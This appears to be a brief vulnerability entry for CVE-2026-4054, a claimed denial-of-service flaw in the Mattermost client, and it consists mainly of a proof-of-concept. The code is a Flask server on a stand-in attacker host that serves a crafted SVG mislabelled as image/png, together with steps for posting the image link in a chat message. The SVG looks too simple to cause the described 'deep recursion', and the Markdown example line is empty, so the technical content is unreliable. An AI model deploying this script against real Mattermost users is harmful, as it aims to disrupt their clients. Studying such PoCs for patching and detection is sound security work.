CVE-2026-4054 Mattermost客户端拒绝服务漏洞

# PoC Concept for CVE-2026-4054 # Attacker controlled server (evil.com/poc.png) # 1. Create a malicious SVG file designed to consume resources svg_content = ''' <svg xmlns="http://www.w3.org/2000/svg" width="1000" height="1000"> <!-- Complex pattern to cause rendering lag/DoS --> <defs> <pattern id="p" width="10" height="10" patternUnits="userSpaceOnUse"> <rect width="10" height="10" fill="black"/> </pattern> </defs> <rect fill="url(#p)" width="100%" height="100%"/> <!-- Nested elements causing deep recursion --> <g> <g> <g> <g> <g> <circle cx="500" cy="500" r="400"/> </g> </g> </g> </g> </g> </svg> ''' # 2. Serve this SVG with the Content-Type header 'image/png' # (Python Flask example) from flask import Flask, Response app = Flask(__name__) @app.route('/poc.png') def serve_evil_image(): return Response(svg_content, mimetype='image/png') # 3. Send the link in Mattermost Markdown # Markdown syntax:  # When a user views the message, Mattermost proxies the image. # The browser receives the file with header 'image/png' but parses it as SVG, # triggering the DoS condition.